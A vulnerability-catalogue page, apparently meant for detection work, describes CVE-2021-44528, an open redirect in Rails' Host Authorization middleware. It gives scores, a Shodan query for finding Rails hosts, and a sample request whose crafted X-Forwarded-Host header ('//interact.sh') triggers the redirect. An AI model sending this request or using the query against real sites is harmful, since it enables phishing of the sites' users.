🔙 목록으로 돌아가기

CVE-2021-44528: Open Redirect in Host Authorization Middleware

TitleOpen Redirect in Host Authorization Middleware
Authorgeeknik
SeverityMedium
ImpactThis vulnerability can lead to phishing attacks, where users are tricked into visiting malicious websites and disclosing sensitive information.
RemediationApply the latest security patches or updates provided by the vendor to fix the Open Redirect vulnerability in the Host Authorization Middleware.
CVSS Score6.1
EPSS Score0.31577
CVE IDCVE-2021-44528
CWE IDCWE-601
Shodan Querycpe:"cpe:2.3:a:rubyonrails:rails"
Tags cve2021 cve seclists redirect rubyonrails vuln

🔍 Vulnerability Description

Specially crafted “X-Forwarded-Host” headers in combination with certain “allowed host” formats can cause the Host Authorization middleware in Action Pack to redirect users to a malicious website.

🌐 HTTP Request

GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
X-Forwarded-Host: //interact.sh
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-44528.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-44528.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A